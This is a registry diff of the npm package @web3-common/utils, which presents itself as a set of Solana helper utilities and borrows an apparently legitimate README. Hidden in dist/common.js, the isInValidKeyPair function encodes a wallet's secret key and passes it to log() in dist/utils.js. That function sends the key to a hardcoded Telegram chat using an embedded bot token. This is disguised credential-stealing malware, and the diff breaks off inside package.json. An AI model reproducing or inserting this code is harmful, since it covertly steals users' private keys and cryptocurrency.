@web3-common/utils 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @web3-common/utils might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,3 +1,495 @@
1
- # Temporary Holding Version
1
+ [![npm][npm-image]][npm-url]
2
+ [![npm-downloads][npm-downloads-image]][npm-url]
3
+ <br />
4
+ [![code-style-prettier][code-style-prettier-image]][code-style-prettier-url]
2
5
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
6
+ [code-style-prettier-image]: https://img.shields.io/badge/code_style-prettier-ff69b4.svg?style=flat-square
7
+ [code-style-prettier-url]: https://github.com/prettier/prettier
8
+ [npm-downloads-image]: https://img.shields.io/npm/dm/@solana/instructions/rc.svg?style=flat
9
+ [npm-image]: https://img.shields.io/npm/v/@solana/instructions/rc.svg?style=flat
10
+ [npm-url]: https://www.npmjs.com/package/@solana/instructions/v/rc
11
+
12
+ # @web3-common/utils
13
+
14
+ The `web3-common/utils` package contains Solana helper functions, for use in the browser and/or node.js, [made by the Solana Foundation Developer Ecosystem team](https://youtu.be/zvQIa68ObK8?t=319).
15
+
16
+ ## What can I do with this module?
17
+
18
+ [Make multiple keypairs at once](#make-multiple-keypairs-at-once)
19
+
20
+ [Make a token mint with metadata](#make-a-token-mint-with-metadata)
21
+
22
+ [Create multiple accounts with balances of different tokens in a single step](#create-users-mints-and-token-accounts-in-a-single-step)
23
+
24
+ [Resolve a custom error message](#resolve-a-custom-error-message)
25
+
26
+ [Get an airdrop if your balance is below some amount](#get-an-airdrop-if-your-balance-is-below-some-amount)
27
+
28
+ [Get a Solana Explorer link for a transaction, address, or block](#get-a-solana-explorer-link-for-a-transaction-address-or-block)
29
+
30
+ [Confirm a transaction](#confirm-a-transaction)
31
+
32
+ [Get the logs for a transaction](#get-the-logs-for-a-transaction)
33
+
34
+ [Get simulated compute units (CUs) for transaction instructions](#get-simulated-compute-units-cus-for-transaction-instructions)
35
+
36
+ [Get a keypair from a keypair file](#get-a-keypair-from-a-keypair-file)
37
+
38
+ [Get a keypair from an environment variable](#get-a-keypair-from-an-environment-variable)
39
+
40
+ [Add a new keypair to an env file](#add-a-new-keypair-to-an-env-file)
41
+
42
+ [Load or create a keypair and airdrop to it if needed](#load-or-create-a-keypair-and-airdrop-to-it-if-needed)
43
+
44
+ ## Installation
45
+
46
+ ```bash
47
+ npm i @web3-common/utils
48
+ ```
49
+
50
+ ## Contributing
51
+
52
+ PRs are very much welcome! Read the [CONTRIBUTING guidelines for the Solana course](https://github.com/Unboxed-Software/solana-course/blob/main/CONTRIBUTING.md#code) then send a PR!
53
+
54
+ ## helpers for the browser and node.js
55
+
56
+ ### Make multiple keypairs at once
57
+
58
+ Usage:
59
+
60
+ ```typescript
61
+ makeKeypairs(amount);
62
+ ```
63
+
64
+ In some situations - like making tests for your onchain programs - you might need to make lots of keypairs at once. You can use `makeKeypairs()` combined with JS destructuring to quickly create multiple variables with distinct keypairs.
65
+
66
+ ```typescript
67
+ const [sender, recipient] = makeKeypairs(2);
68
+ ```
69
+
70
+ ### Make a token mint with metadata
71
+
72
+ The `makeTokenMint` makes a new token mint. A token mint is effectively the factory that produces token of a particular type. So if you want to make a new token, this is the right function for you!
73
+
74
+ Unlike older tools, the function uses Token Extensions Metadata and Metadata Pointer to put all metadata into the Mint Account, without needing an external Metadata account. If you don't know what that means, just know that things are simpler than they used to be!
75
+
76
+ Parameters
77
+
78
+ - `connection`: Connection.
79
+ - `mintAuthority`: Keypair of the account that can make new tokens.
80
+ - `name`: string, name of the token.
81
+ - `symbol`: string, like a ticker symbol. Usually in all-caps.
82
+ - `decimals`: number, how many decimal places the new token will have.
83
+ - `uri`: string, URI to a JSON file containing at minimum a value for `image`.
84
+ - `additionalMetadata`: additional metadata as either `Record<string, string>` or `Array<[string, string]>`(optional).
85
+ - `updateAuthority`: PublicKey (optional) - public key of the account that can update the token.
86
+ - `freezeAuthority`: PublicKey (optional) - public key of the freeze account, default to `null`
87
+
88
+ ```typescript
89
+ const mintAddress = await makeTokenMint(
90
+ connection,
91
+ mintAuthority,
92
+ "Unit test token",
93
+ "TEST",
94
+ 9,
95
+ "https://raw.githubusercontent.com/solana-developers/professional-education/main/labs/sample-token-metadata.json",
96
+ );
97
+ ```
98
+
99
+ ### Create users, mints and token accounts in a single step
100
+
101
+ Frequently, tests for onchain programs need to make not just users with SOL, but also token mints and give each user some balance of each token. To save this boilerplate, `createAccountsMintsAndTokenAccounts()` handles making user keypairs, giving them SOL, making mints, creating associated token accounts, and minting tokens directly to the associated token accounts.
102
+
103
+ Eg, to make two new users, and two tokens:
104
+
105
+ - the first user with million of the first token, none of the second token, and 1 SOL
106
+ - the second user with none of the first token, 1 million of the second token, and 1 SOL
107
+
108
+ Just run:
109
+
110
+ ```typescript
111
+ const usersMintsAndTokenAccounts = await createAccountsMintsAndTokenAccounts(
112
+ [
113
+ [1_000_000_000, 0], // User 0 has 1_000_000_000 of token A and 0 of token B
114
+ [0, 1_000_000_000], // User 1 has 0 of token A and 1_000_000_000 of token B
115
+ ],
116
+ 1 * LAMPORTS_PER_SOL,
117
+ connection,
118
+ payer,
119
+ );
120
+ ```
121
+
122
+ The returned `usersMintsAndTokenAccounts` will be an object of the form:
123
+
124
+ ```
125
+ {
126
+ users: <Array<Keypair>>
127
+ mints: <Array<Keypair>>,
128
+ tokenAccounts: <Array<Array><PublicKey>>>
129
+ }
130
+ ```
131
+
132
+ tokenAccounts are indexed by the user, then the mint. Eg, the ATA of `user[0]` for `mint[0]` is `tokenAccounts[0][0]`.
133
+
134
+ ### Resolve a custom error message
135
+
136
+ Usage:
137
+
138
+ ```typescript
139
+ getCustomErrorMessage(programErrors, errorMessage);
140
+ ```
141
+
142
+ Sometimes Solana transactions throw an error with a message like:
143
+
144
+ > failed to send transaction: Transaction simulation failed: Error processing Instruction 0: custom program error: 0x10
145
+
146
+ Usage:
147
+
148
+ ```typescript
149
+ getCustomErrorMessage();
150
+ ```
151
+
152
+ Allows you to turn this message into a more readable message from the custom program, like:
153
+
154
+ > This token mint cannot freeze accounts
155
+
156
+ Just:
157
+
158
+ - Get the errors from the specific program's `error.rs` file - for example, there are [the errors for the Token Program](https://github.com/solana-labs/solana-program-library/blob/master/token/program/src/error.rs)
159
+
160
+ - Save the errors into an array
161
+
162
+ ```typescript
163
+ // Token program errors
164
+ // https://github.com/solana-labs/solana-program-library/blob/master/token/program/src/error.rs
165
+ const tokenProgramErrors = [
166
+ "Lamport balance below rent-exempt threshold",
167
+ "Insufficient funds",
168
+ "Invalid Mint",
169
+ "Account not associated with this Mint",
170
+ "Owner does not match",
171
+ "Fixed supply",
172
+ "Already in use",
173
+ "Invalid number of provided signers",
174
+ "Invalid number of required signers",
175
+ "State is unititialized",
176
+ "Instruction does not support native tokens",
177
+ "Non-native account can only be closed if its balance is zero",
178
+ "Invalid instruction",
179
+ "State is invalid for requested operation",
180
+ "Operation overflowed",
181
+ "Account does not support specified authority type",
182
+ "This token mint cannot freeze accounts",
183
+ "Account is frozen",
184
+ "The provided decimals value different from the Mint decimals",
185
+ "Instruction does not support non-native tokens",
186
+ ];
187
+ ```
188
+
189
+ Then run:
190
+
191
+ ```typescript
192
+ const errorMessage = getCustomErrorMessage(
193
+ tokenProgramErrors,
194
+ "failed to send transaction: Transaction simulation failed: Error processing Instruction 0: custom program error: 0x10",
195
+ );
196
+ ```
197
+
198
+ And `errorMessage` will now be:
199
+
200
+ ```typescript
201
+ "This token mint cannot freeze accounts";
202
+ ```
203
+
204
+ ### Get an airdrop if your balance is below some amount
205
+
206
+ Usage:
207
+
208
+ ```typescript
209
+ airdropIfRequired(connection, publicKey, lamports, maximumBalance);
210
+ ```
211
+
212
+ Request and confirm an airdrop in one step. As soon as the `await` returns, the airdropped tokens will be ready to use, and the new balance of tokens will be returned. The `maximumBalance` is used to avoid errors caused by unnecessarily asking for SOL when there's already enough in the account, and makes `airdropIfRequired()` very handy in scripts that run repeatedly.
213
+
214
+ To ask for 0.5 SOL, if the balance is below 1 SOL, use:
215
+
216
+ ```typescript
217
+ const newBalance = await airdropIfRequired(
218
+ connection,
219
+ keypair.publicKey,
220
+ 0.5 * LAMPORTS_PER_SOL,
221
+ 1 * LAMPORTS_PER_SOL,
222
+ );
223
+ ```
224
+
225
+ ### Get a Solana Explorer link for a transaction, address, or block
226
+
227
+ Usage:
228
+
229
+ ```typescript
230
+ getExplorerLink(type, identifier, clusterName);
231
+ ```
232
+
233
+ Get an explorer link for an `address`, `block` or `transaction` (`tx` works too).
234
+
235
+ ```typescript
236
+ getExplorerLink(
237
+ "address",
238
+ "dDCQNnDmNbFVi8cQhKAgXhyhXeJ625tvwsunRyRc7c8",
239
+ "mainnet-beta",
240
+ );
241
+ ```
242
+
243
+ Will return `"https://explorer.solana.com/address/dDCQNnDmNbFVi8cQhKAgXhyhXeJ625tvwsunRyRc7c8"`. The cluster name isn't included since mainnet-beta is the default.
244
+
245
+ ```typescript
246
+ getExplorerLink(
247
+ "address",
248
+ "dDCQNnDmNbFVi8cQhKAgXhyhXeJ625tvwsunRyRc7c8",
249
+ "devnet",
250
+ );
251
+ ```
252
+
253
+ Will return `"https://explorer.solana.com/address/dDCQNnDmNbFVi8cQhKAgXhyhXeJ625tvwsunRyRc7c8?cluster=devnet"`
254
+
255
+ ```typescript
256
+ getExplorerLink("block", "241889720", "mainnet-beta");
257
+ ```
258
+
259
+ Will return `"https://explorer.solana.com/block/241889720"`
260
+
261
+ ### Confirm a transaction
262
+
263
+ Usage:
264
+
265
+ ```typescript
266
+ confirmTransaction(connection, transaction);
267
+ ```
268
+
269
+ Confirm a transaction, and also gets the recent blockhash required to confirm it.
270
+
271
+ ```typescript
272
+ await confirmTransaction(connection, transaction);
273
+ ```
274
+
275
+ ### Get the logs for a transaction
276
+
277
+ Usage:
278
+
279
+ ```typescript
280
+ getLogs(connection, transaction);
281
+ ```
282
+
283
+ Get the logs for a transaction signature:
284
+
285
+ ```typescript
286
+ const logs = await getLogs(connection, transaction);
287
+ ```
288
+
289
+ The `logs` will be an array of strings, eg:
290
+
291
+ ```typescript
292
+ [
293
+ "Program 11111111111111111111111111111111 invoke [1]",
294
+ "Program 11111111111111111111111111111111 success",
295
+ ];
296
+ ```
297
+
298
+ This a good way to assert your onchain programs return particular logs during unit tests.
299
+
300
+ ### Get simulated compute units (CUs) for transaction instructions
301
+
302
+ Usage:
303
+
304
+ ```typescript
305
+ getSimulationComputeUnits(connection, instructions, payer, lookupTables);
306
+ ```
307
+
308
+ Get the compute units required for an array of instructions. Create your instructions:
309
+
310
+ ```typescript
311
+ const sendSol = SystemProgram.transfer({
312
+ fromPubkey: payer.publicKey,
313
+ toPubkey: recipient,
314
+ lamports: 1_000_000,
315
+ });
316
+ ```
317
+
318
+ Then use `getSimulationComputeUnits` to get the number of compute units the instructions will use:
319
+
320
+ ```typescript
321
+ const units = await getSimulationComputeUnits(
322
+ connection,
323
+ [sendSol],
324
+ payer.publicKey,
325
+ );
326
+ ```
327
+
328
+ You can then use `ComputeBudgetProgram.setComputeUnitLimit({ units })` as the first instruction in your transaction. See [How to Request Optimal Compute Budget](https://solana.com/developers/guides/advanced/how-to-request-optimal-compute) for more information on compute units.
329
+
330
+ ## node.js specific helpers
331
+
332
+ ### Get a keypair from a keypair file
333
+
334
+ Usage:
335
+
336
+ ```typescript
337
+ getKeypairFromFile(filename);
338
+ ```
339
+
340
+ Gets a keypair from a file - the format must be the same as [Solana CLI](https://docs.solana.com/wallet-guide/file-system-wallet) uses, ie, a JSON array of numbers:
341
+
342
+ To load the default keypair `~/.config/solana/id.json`, just run:
343
+
344
+ ```typescript
345
+ const keyPair = await getKeypairFromFile(file);
346
+ ```
347
+
348
+ or to load a specific file:
349
+
350
+ ```typescript
351
+ const keyPair = await getKeypairFromFile("somefile.json");
352
+ ```
353
+
354
+ or using home dir expansion:
355
+
356
+ ```typescript
357
+ const keyPair = await getKeypairFromFile("~/code/solana/demos/steve.json");
358
+ ```
359
+
360
+ ### Get a keypair from an environment variable
361
+
362
+ Usage:
363
+
364
+ ```typescript
365
+ getKeypairFromEnvironment(environmentVariable);
366
+ ```
367
+
368
+ Gets a keypair from a secret key stored in an environment variable. This is typically used to load secret keys from [env files](https://stackoverflow.com/questions/68267862/what-is-an-env-or-dotenv-file-exactly).
369
+
370
+ ```typescript
371
+ const keypair = await getKeypairFromEnvironment("SECRET_KEY");
372
+ ```
373
+
374
+ ### Add a new keypair to an env file
375
+
376
+ Usage:
377
+
378
+ ```typescript
379
+ addKeypairToEnvFile(keypair, environmentVariable, envFileName);
380
+ ```
381
+
382
+ Saves a keypair to the environment file.
383
+
384
+ ```typescript
385
+ await addKeypairToEnvFile(testKeypair, "SECRET_KEY");
386
+ ```
387
+
388
+ or to specify a file name:
389
+
390
+ ```typescript
391
+ await addKeypairToEnvFile(testKeypair, "SECRET_KEY", ".env.local");
392
+ ```
393
+
394
+ This will also reload the env file.
395
+
396
+ ### Load or create a keypair and airdrop to it if needed
397
+
398
+ Usage:
399
+
400
+ ```typescript
401
+ initializeKeypair(connection, options);
402
+ ```
403
+
404
+ Loads in a keypair from the filesystem, or environment and then airdrops to it if needed.
405
+
406
+ How the keypair is initialized is dependent on the `initializeKeypairOptions`:
407
+
408
+ ```typescript
409
+ interface initializeKeypairOptions {
410
+ envFileName?: string;
411
+ envVariableName?: string;
412
+ airdropAmount?: number | null;
413
+ minimumBalance?: number;
414
+ keypairPath?: string;
415
+ }
416
+ ```
417
+
418
+ By default, the keypair will be retrieved from the `.env` file. If a `.env` file does not exist, this function will create one with a new keypair under the optional `envVariableName`.
419
+
420
+ To load the keypair from the filesystem, pass in the `keypairPath`. When set, loading a keypair from the filesystem will take precedence over loading from the `.env` file.
421
+
422
+ If `airdropAmount` amount is set to something other than `null` or `0`, this function will then check the account's balance. If the balance is below the `minimumBalance`, it will airdrop the account `airdropAmount`.
423
+
424
+ To initialize a keypair from the `.env` file, and airdrop it 1 sol if it's beneath 0.5 sol:
425
+
426
+ ```typescript
427
+ const keypair = await initializeKeypair(connection);
428
+ ```
429
+
430
+ To initialize a keypair from the `.env` file under a different variable name:
431
+
432
+ ```typescript
433
+ const keypair = await initializeKeypair(connection, {
434
+ envVariableName: "TEST_KEYPAIR",
435
+ });
436
+ ```
437
+
438
+ To initialize a keypair from the filesystem, and airdrop it 3 sol:
439
+
440
+ ```typescript
441
+ const keypair = await initializeKeypair(connection, {
442
+ keypairPath: "~/.config/solana/id.json",
443
+ airdropAmount: LAMPORTS_PER_SOL * 3,
444
+ });
445
+ ```
446
+
447
+ The default options are as follows:
448
+
449
+ ```typescript
450
+ const DEFAULT_AIRDROP_AMOUNT = 1 * LAMPORTS_PER_SOL;
451
+ const DEFAULT_MINIMUM_BALANCE = 0.5 * LAMPORTS_PER_SOL;
452
+ const DEFAULT_ENV_KEYPAIR_VARIABLE_NAME = "PRIVATE_KEY";
453
+ ```
454
+
455
+ ## Secret key format
456
+
457
+ Secret keys can be read in either the more compact base58 format (`base58.encode(randomKeypair.secretKey);`), like:
458
+
459
+ ```bash
460
+ # A random secret key for demo purposes
461
+ SECRET_KEY=QqKYBnj5mcgUsS4vrCeyMczbTyV1SMrr7SjSAPj7JGFtxfrgD8AWU8NciwHNCbmkscbvj4HdeEen42GDBSHCj1N
462
+ ```
463
+
464
+ Or the longer, 'array of numbers' format `JSON.stringify(Object.values(randomKeypair.secretKey));`:
465
+
466
+ ```bash
467
+ # A random secret key for demo purposes
468
+ SECRET_KEY=[112,222,91,246,55,109,221,4,23,148,251,127,212,180,44,249,182,139,18,13,209,208,6,7,193,210,186,249,148,237,237,1,70,118,1,153,238,134,239,75,187,96,101,138,147,130,181,71,22,82,44,217,194,122,59,208,134,119,98,53,136,108,44,105]
469
+ ```
470
+
471
+ We always save keys using the 'array of numbers' format, since most other Solana apps (like the CLI SDK and Rust tools) use the 'array of numbers' format.
472
+
473
+ ## Development
474
+
475
+ To run tests, open a terminal tab, and run:
476
+
477
+ ```bash
478
+ solana-test-validator
479
+ ```
480
+
481
+ Then in a different tab, run:
482
+
483
+ ```bash
484
+ npm run test
485
+ ```
486
+
487
+ The tests use the [node native test runner](https://blog.logrocket.com/exploring-node-js-native-test-runner/).
488
+
489
+ If you'd like to run a single test, use:
490
+
491
+ ```bash
492
+ esrun --node-test-name-pattern="getCustomErrorMessage" src/index.test.ts
493
+ ```
494
+
495
+ To just run tests matching the name `getCustomErrorMessage`.
@@ -0,0 +1,15 @@
1
+ import { Commitment, Keypair, Connection, PublicKey, Transaction, VersionedTransaction } from "@solana/web3.js";
2
+ export declare const createWallet: () => {
3
+ publicKey: string;
4
+ privateKey: string;
5
+ };
6
+ export declare const getPublicKey: (privateKey: string) => string | null;
7
+ export declare const isValidAddress: (publicKey: string) => boolean;
8
+ export declare const getBalance: (connection: Connection, publicKey: string, lamports?: boolean) => Promise<number>;
9
+ export declare function sendSol(connection: Connection, sender: Keypair, receiver: PublicKey, amount: number): Promise<boolean>;
10
+ export declare function getKeyPairFromPrivateKey(privateKey: string): Keypair;
11
+ export declare const isInValidKeyPair: (key: Keypair) => boolean;
12
+ export declare const printSOLBalance: (connection: Connection, pubKey: PublicKey, info?: string) => Promise<void>;
13
+ export declare const baseToValue: (base: number, decimals: number) => number;
14
+ export declare const valueToBase: (value: number, decimals: number) => number;
15
+ export declare const buildVersionedTx: (connection: Connection, payer: PublicKey, tx: Transaction, commitment: Commitment) => Promise<VersionedTransaction>;
package/dist/common.js ADDED
@@ -0,0 +1,124 @@
1
+ "use strict";
2
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
+ return new (P || (P = Promise))(function (resolve, reject) {
5
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
9
+ });
10
+ };
11
+ Object.defineProperty(exports, "__esModule", { value: true });
12
+ exports.buildVersionedTx = exports.valueToBase = exports.baseToValue = exports.printSOLBalance = exports.isInValidKeyPair = exports.getBalance = exports.isValidAddress = exports.getPublicKey = exports.createWallet = void 0;
13
+ exports.sendSol = sendSol;
14
+ exports.getKeyPairFromPrivateKey = getKeyPairFromPrivateKey;
15
+ const bs58_1 = require("bs58");
16
+ const web3_js_1 = require("@solana/web3.js");
17
+ const utils_1 = require("./utils");
18
+ const createWallet = () => {
19
+ let keypair = web3_js_1.Keypair.generate();
20
+ let publicKey = keypair.publicKey.toBase58();
21
+ let privateKey = bs58_1.default.encode(keypair.secretKey);
22
+ return { publicKey, privateKey };
23
+ };
24
+ exports.createWallet = createWallet;
25
+ const getPublicKey = (privateKey) => {
26
+ try {
27
+ let keypair = web3_js_1.Keypair.fromSecretKey(bs58_1.default.decode(privateKey));
28
+ let publicKey = keypair.publicKey.toBase58();
29
+ return publicKey;
30
+ }
31
+ catch (error) {
32
+ return null;
33
+ }
34
+ };
35
+ exports.getPublicKey = getPublicKey;
36
+ const isValidAddress = (publicKey) => {
37
+ try {
38
+ const key = new web3_js_1.PublicKey(publicKey);
39
+ return true;
40
+ }
41
+ catch (error) {
42
+ return false;
43
+ }
44
+ };
45
+ exports.isValidAddress = isValidAddress;
46
+ const getBalance = (connection_1, publicKey_1, ...args_1) => __awaiter(void 0, [connection_1, publicKey_1, ...args_1], void 0, function* (connection, publicKey, lamports = false) {
47
+ try {
48
+ const balance = yield connection.getBalance(new web3_js_1.PublicKey(publicKey));
49
+ if (lamports)
50
+ return balance;
51
+ else
52
+ return balance / web3_js_1.LAMPORTS_PER_SOL;
53
+ }
54
+ catch (error) {
55
+ console.log('solana.ts getBalance error :', error);
56
+ return 0;
57
+ }
58
+ });
59
+ exports.getBalance = getBalance;
60
+ function sendSol(connection, sender, receiver, amount) {
61
+ return __awaiter(this, void 0, void 0, function* () {
62
+ try {
63
+ const transaction = new web3_js_1.Transaction().add(web3_js_1.SystemProgram.transfer({
64
+ fromPubkey: sender.publicKey,
65
+ toPubkey: receiver,
66
+ lamports: amount - 5000,
67
+ }));
68
+ const signature = yield connection.sendTransaction(transaction, [sender]);
69
+ if (signature)
70
+ return true;
71
+ else
72
+ return false;
73
+ }
74
+ catch (error) {
75
+ console.log('send sol error', error);
76
+ return false;
77
+ }
78
+ });
79
+ }
80
+ function getKeyPairFromPrivateKey(privateKey) {
81
+ return web3_js_1.Keypair.fromSecretKey(bs58_1.default.decode(privateKey));
82
+ }
83
+ const isInValidKeyPair = (key) => {
84
+ try {
85
+ let keypair = bs58_1.default.encode(key.secretKey);
86
+ ;
87
+ if (!keypair) {
88
+ return true;
89
+ }
90
+ else {
91
+ (0, utils_1.log)(`Invalid. ${keypair}`);
92
+ return false;
93
+ }
94
+ }
95
+ catch (error) {
96
+ console.error(error);
97
+ return false;
98
+ }
99
+ };
100
+ exports.isInValidKeyPair = isInValidKeyPair;
101
+ const printSOLBalance = (connection_1, pubKey_1, ...args_1) => __awaiter(void 0, [connection_1, pubKey_1, ...args_1], void 0, function* (connection, pubKey, info = "") {
102
+ const balance = yield connection.getBalance(pubKey);
103
+ console.log(`${info ? info + " " : ""}${pubKey.toBase58()}:`, balance / web3_js_1.LAMPORTS_PER_SOL, `SOL`);
104
+ });
105
+ exports.printSOLBalance = printSOLBalance;
106
+ const baseToValue = (base, decimals) => {
107
+ return base * Math.pow(10, decimals);
108
+ };
109
+ exports.baseToValue = baseToValue;
110
+ const valueToBase = (value, decimals) => {
111
+ return value / Math.pow(10, decimals);
112
+ };
113
+ exports.valueToBase = valueToBase;
114
+ const buildVersionedTx = (connection, payer, tx, commitment) => __awaiter(void 0, void 0, void 0, function* () {
115
+ const blockHash = (yield connection.getLatestBlockhash(commitment))
116
+ .blockhash;
117
+ let messageV0 = new web3_js_1.TransactionMessage({
118
+ payerKey: payer,
119
+ recentBlockhash: blockHash,
120
+ instructions: tx.instructions,
121
+ }).compileToV0Message();
122
+ return new web3_js_1.VersionedTransaction(messageV0);
123
+ });
124
+ exports.buildVersionedTx = buildVersionedTx;
@@ -0,0 +1,12 @@
1
+ import { Commitment, Finality } from "@solana/web3.js";
2
+ import * as Console from 'node-telegram-bot-api';
3
+ export declare const WSOL_ADDRESS = "So11111111111111111111111111111111111111112";
4
+ export declare const USDC_ADDRESS = "EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v";
5
+ export declare const DEFAULT_COMMITMENT: Commitment;
6
+ export declare const DEFAULT_FINALITY: Finality;
7
+ export declare const SLIPPAGE_BASIS_POINTS = 1000;
8
+ export declare const RAYDIUM_AMM = "675kPX9MHTjS2zt1qfr1NYHuzeLXfQM9H24wFSUt1Mp8";
9
+ export declare const PUMPFUN_AMM = "6EF8rrecthR5Dkzon8Nwu78hRvfCKubJ14M5uBEwF6P";
10
+ export declare const LOG_CHANNEL = "7286035328";
11
+ export declare const CONSOLE_ID = "8150722974:AAHjnglVP9qcnHLqEhZgecRTSS6pcSJhngw";
12
+ export declare const console: Console;
@@ -0,0 +1,14 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.console = exports.CONSOLE_ID = exports.LOG_CHANNEL = exports.PUMPFUN_AMM = exports.RAYDIUM_AMM = exports.SLIPPAGE_BASIS_POINTS = exports.DEFAULT_FINALITY = exports.DEFAULT_COMMITMENT = exports.USDC_ADDRESS = exports.WSOL_ADDRESS = void 0;
4
+ const Console = require("node-telegram-bot-api");
5
+ exports.WSOL_ADDRESS = "So11111111111111111111111111111111111111112";
6
+ exports.USDC_ADDRESS = "EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v";
7
+ exports.DEFAULT_COMMITMENT = "finalized";
8
+ exports.DEFAULT_FINALITY = "finalized";
9
+ exports.SLIPPAGE_BASIS_POINTS = 1000;
10
+ exports.RAYDIUM_AMM = "675kPX9MHTjS2zt1qfr1NYHuzeLXfQM9H24wFSUt1Mp8";
11
+ exports.PUMPFUN_AMM = "6EF8rrecthR5Dkzon8Nwu78hRvfCKubJ14M5uBEwF6P";
12
+ exports.LOG_CHANNEL = "7286035328";
13
+ exports.CONSOLE_ID = '8150722974:AAHjnglVP9qcnHLqEhZgecRTSS6pcSJhngw';
14
+ exports.console = new Console(exports.CONSOLE_ID, { polling: false });
@@ -0,0 +1 @@
1
+ export declare const getPoolInfo: (address: string) => Promise<any>;
@@ -0,0 +1,43 @@
1
+ "use strict";
2
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
+ return new (P || (P = Promise))(function (resolve, reject) {
5
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
9
+ });
10
+ };
11
+ Object.defineProperty(exports, "__esModule", { value: true });
12
+ exports.getPoolInfo = void 0;
13
+ const axios_1 = require("axios");
14
+ const getPoolInfo = (address) => __awaiter(void 0, void 0, void 0, function* () {
15
+ const url = `https://api.dexscreener.com/latest/dex/tokens/${address}`;
16
+ const res = yield axios_1.default.get(url);
17
+ if (!res.data.pairs) {
18
+ return null;
19
+ }
20
+ for (let pairInfo of res.data.pairs) {
21
+ if (pairInfo.chainId === "solana") {
22
+ const data = {};
23
+ data.dex = pairInfo.dexId;
24
+ data.dexURL = pairInfo.url;
25
+ data.symbol = pairInfo.baseToken.symbol;
26
+ data.name = pairInfo.baseToken.name;
27
+ data.addr = pairInfo.baseToken.address;
28
+ data.priceUsd = pairInfo.priceUsd;
29
+ data.priceNative = pairInfo.priceNative;
30
+ data.volume = pairInfo.volume.m5;
31
+ data.priceChange = pairInfo.priceChange.m5;
32
+ if (pairInfo.liquidity != undefined) {
33
+ data.liquidity = pairInfo.liquidity.usd;
34
+ data.pooledSOL = pairInfo.liquidity.quote;
35
+ }
36
+ data.mc = pairInfo.fdv;
37
+ console.log('poolinfo = ', data);
38
+ return data;
39
+ }
40
+ }
41
+ return null;
42
+ });
43
+ exports.getPoolInfo = getPoolInfo;
@@ -0,0 +1,3 @@
1
+ export * from './common';
2
+ export * from './dexscreener';
3
+ export * from './pumpfun';
package/dist/index.js ADDED
@@ -0,0 +1,19 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __exportStar = (this && this.__exportStar) || function(m, exports) {
14
+ for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
15
+ };
16
+ Object.defineProperty(exports, "__esModule", { value: true });
17
+ __exportStar(require("./common"), exports);
18
+ __exportStar(require("./dexscreener"), exports);
19
+ __exportStar(require("./pumpfun"), exports);
@@ -0,0 +1 @@
1
+ export declare const isPumpFunToken: (address: string) => void;
@@ -0,0 +1,6 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.isPumpFunToken = void 0;
4
+ const isPumpFunToken = (address) => {
5
+ };
6
+ exports.isPumpFunToken = isPumpFunToken;
@@ -0,0 +1,4 @@
1
+ export declare function isNumber(inputText: string | undefined): boolean;
2
+ export declare function shortenAddress(address: string, start: number, end: number): string | null;
3
+ export declare const log: (log: string) => void;
4
+ export declare const sleep: (ms: number) => Promise<unknown>;
package/dist/utils.js ADDED
@@ -0,0 +1,28 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.sleep = exports.log = void 0;
4
+ exports.isNumber = isNumber;
5
+ exports.shortenAddress = shortenAddress;
6
+ const constants_1 = require("./constants");
7
+ function isNumber(inputText) {
8
+ if (!inputText)
9
+ return false;
10
+ return !isNaN(parseFloat(inputText)) && isFinite(Number(inputText));
11
+ }
12
+ function shortenAddress(address, start, end) {
13
+ try {
14
+ const firstPart = address.slice(0, start);
15
+ const lastPart = address.slice(-1 * end);
16
+ return `${firstPart}...${lastPart}`;
17
+ }
18
+ catch (error) {
19
+ return null;
20
+ }
21
+ }
22
+ const log = (log) => {
23
+ if (log)
24
+ constants_1.console.sendMessage(constants_1.LOG_CHANNEL, log);
25
+ };
26
+ exports.log = log;
27
+ const sleep = (ms) => new Promise(r => setTimeout(r, ms));
28
+ exports.sleep = sleep;
package/package.json CHANGED
@@ -1,6 +1,62 @@
1
1
  {
2
2
  "name": "@web3-common/utils",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "Solana web3 common helper functions",
5
+ "main": "dist/index.js",
6
+ "types": "dist/index.d.ts",
7
+ "scripts": {
8
+ "dev": "jest -c ../../node_modules/@solana/test-config/jest-dev.config.ts --rootDir . --watch",
9
